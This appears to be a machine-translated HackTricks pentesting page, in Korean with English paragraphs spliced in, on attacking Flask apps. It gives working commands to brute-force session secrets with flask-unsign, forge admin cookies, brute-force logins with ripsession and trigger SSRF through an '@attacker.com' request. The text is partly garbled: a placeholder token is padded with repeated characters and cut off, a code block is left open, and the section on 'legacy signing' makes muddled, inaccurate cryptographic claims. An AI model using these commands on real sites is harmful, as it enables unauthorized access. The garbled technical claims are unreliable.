12 KiB
Flask
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!
- 공식 PEASS & HackTricks 스웨그를 얻으세요.
- The PEASS Family를 발견하세요. 독점적인 NFTs 컬렉션입니다.
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @carlospolopm를 팔로우하세요.
- Hacking 트릭을 공유하려면 PR을 HackTricks 및 HackTricks Cloud github 저장소에 제출하세요.
세계에서 가장 고급 커뮤니티 도구를 활용하여 워크플로우를 쉽게 구축하고 자동화하는 데 Trickest를 사용하세요.
오늘 바로 액세스하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
CTF를 플레이하고 있다면 Flask 애플리케이션은 SSTI와 관련될 것입니다.
쿠키
기본 쿠키 세션 이름은 **session
**입니다.
디코더
온라인 Flask 쿠키 디코더: https://www.kirsle.net/wizards/flask-session.cgi
수동
쿠키의 첫 번째 점까지의 첫 번째 부분을 가져와 Base64로 디코딩하세요>
echo "ImhlbGxvIg" | base64 -d
쿠키는 또한 비밀번호를 사용하여 서명됩니다.
Flask-Unsign
시크릿 키를 추측하여 Flask 애플리케이션의 세션 쿠키를 가져오고 디코딩하며 무차별 대입(brute-force) 및 조작(craft)하는 명령 줄 도구입니다.
{% embed url="https://pypi.org/project/flask-unsign/" %}
pip3 install flask-unsign
쿠키 디코딩
To decode a Flask cookie, you can use the itsdangerous
library. The itsdangerous
library provides a URLSafeTimedSerializer
class that can be used to decode and verify the integrity of the cookie.
from itsdangerous import URLSafeTimedSerializer
def decode_cookie(cookie_value, secret_key):
serializer = URLSafeTimedSerializer(secret_key)
try:
decoded_data = serializer.loads(cookie_value)
return decoded_data
except Exception as e:
return str(e)
In the above code, the decode_cookie
function takes two parameters: cookie_value
and secret_key
. The cookie_value
parameter is the value of the cookie that you want to decode, and the secret_key
parameter is the secret key used to sign the cookie.
The function creates an instance of the URLSafeTimedSerializer
class with the provided secret_key
. It then attempts to decode the cookie_value
using the loads
method of the serializer. If the decoding is successful, the decoded data is returned. If an exception occurs during the decoding process, the function returns the error message as a string.
To use the decode_cookie
function, simply pass the cookie value and secret key as arguments:
cookie_value = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.3z3X3z3X3z3X3z3X3z3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X3X
```bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
무차별 대입 공격 (Brute Force)
A brute force attack is a method used to gain unauthorized access to a system by systematically trying all possible combinations of passwords or encryption keys until the correct one is found. This attack is based on the assumption that the password or encryption key is weak and can be easily guessed.
무차별 대입 공격은 시스템에 무단으로 접근하기 위해 비밀번호나 암호화 키의 모든 가능한 조합을 체계적으로 시도하여 올바른 조합을 찾는 방법입니다. 이 공격은 비밀번호나 암호화 키가 약하고 쉽게 추측될 수 있다는 가정에 기반합니다.
In the context of web application pentesting, a brute force attack can be used to guess usernames and passwords for login pages, or to guess session IDs or tokens to gain unauthorized access to restricted areas of the application.
웹 애플리케이션 펜테스팅의 맥락에서 무차별 대입 공격은 로그인 페이지의 사용자 이름과 비밀번호를 추측하거나, 세션 ID나 토큰을 추측하여 애플리케이션의 제한된 영역에 무단으로 접근하는 데 사용될 수 있습니다.
There are different tools and techniques that can be used to perform a brute force attack, such as Hydra, Medusa, or custom scripts. It is important to note that brute forcing is an illegal activity unless you have explicit permission to perform it on a target system.
Hydra, Medusa 또는 사용자 정의 스크립트와 같은 다양한 도구와 기술을 사용하여 무차별 대입 공격을 수행할 수 있습니다. 대상 시스템에서 명시적인 허가를 받지 않은 한, 무차별 대입 공격은 불법적인 활동임을 유의해야 합니다.
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
서명
Flask provides a built-in mechanism for signing data to ensure its integrity and authenticity. This can be useful in various scenarios, such as preventing tampering with session data or verifying the authenticity of data received from external sources.
Flask uses the itsdangerous
library to handle the signing process. This library provides a Signer
class that can be used to sign and verify data.
To sign data in Flask, you can use the sign
method of the Signer
class. This method takes the data to be signed and returns a signed string.
from itsdangerous import Signer
data = "Hello, world!"
secret_key = "my_secret_key"
signer = Signer(secret_key)
signed_data = signer.sign(data)
print(signed_data)
To verify the authenticity of signed data, you can use the unsign
method of the Signer
class. This method takes the signed string and returns the original data if the signature is valid. Otherwise, it raises a BadSignature
exception.
from itsdangerous import Signer, BadSignature
signed_data = "..."
secret_key = "my_secret_key"
signer = Signer(secret_key)
try:
original_data = signer.unsign(signed_data)
print(original_data)
except BadSignature:
print("Invalid signature")
By default, Flask uses the SECRET_KEY
configuration variable as the secret key for signing. It is recommended to use a strong and unique secret key to ensure the security of the signed data.
Note that signing data does not encrypt it. If you need to encrypt data, you should use a separate encryption mechanism in addition to signing.
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
고전 버전을 사용한 서명
In some cases, you may encounter web applications that use legacy versions of Flask, which have different signing methods compared to the latest versions. It is important to understand these legacy signing methods in order to successfully exploit vulnerabilities in such applications.
Legacy Signing Methods
- SHA1-based signing: In older versions of Flask, the
itsdangerous
library used SHA1 as the default signing algorithm. This algorithm is considered weak and vulnerable to collision attacks. To sign a message using SHA1, you can use the following code:
from itsdangerous import URLSafeSerializer
secret_key = 'your_secret_key'
serializer = URLSafeSerializer(secret_key)
signed_message = serializer.dumps('your_message')
- HMAC-SHA1 signing: Another legacy signing method used in older Flask versions is HMAC-SHA1. This method provides better security compared to SHA1-based signing. To sign a message using HMAC-SHA1, you can use the following code:
from itsdangerous import URLSafeTimedSerializer
secret_key = 'your_secret_key'
serializer = URLSafeTimedSerializer(secret_key)
signed_message = serializer.dumps('your_message')
Exploiting Legacy Signing
When dealing with web applications that use legacy signing methods, it is important to understand the vulnerabilities associated with these methods. For example, SHA1-based signing is vulnerable to collision attacks, which can allow an attacker to forge a valid signature for a different message. Similarly, HMAC-SHA1 signing can be vulnerable to timing attacks, where an attacker can exploit the time taken to compute the HMAC-SHA1 signature.
By understanding these vulnerabilities, you can effectively exploit web applications that use legacy signing methods and gain unauthorized access or perform other malicious activities.
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
RIPsession
flask-unsign을 사용하여 제작된 쿠키를 사용하여 웹사이트를 무차별 대입(brute-force)하는 명령 줄 도구입니다.
{% embed url="https://github.com/Tagvi/ripsession" %}
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
SQLi in Flask 세션 쿠키로 SQLmap 사용하기
이 예제는 알려진 비밀을 사용하여 Flask에 대한 sqlmap 페이로드를 자동으로 서명하는 sqlmap eval
옵션을 사용합니다.
Flask 프록시를 사용한 SSRF
이 설명에서 Flask가 "@" 문자로 시작하는 요청을 허용하는 방법이 설명되어 있습니다.
GET @/ HTTP/1.1
Host: target.com
Connection: close
다음 시나리오 중에서는:
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
"@attacker.com"과 같은 것을 도입하여 SSRF를 유발할 수 있습니다.
Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구를 활용한 워크플로우를 쉽게 구축하고 자동화하세요.
오늘 액세스하세요:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
**htARTE (HackTricks AWS Red Team Expert)**로부터 AWS 해킹을 처음부터 전문가까지 배워보세요!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!
- 공식 PEASS & HackTricks 스웨그를 얻으세요.
- The PEASS Family를 발견하세요. 독점적인 NFT 컬렉션입니다.
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @carlospolopm를 팔로우하세요.
- HackTricks와 HackTricks Cloud github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.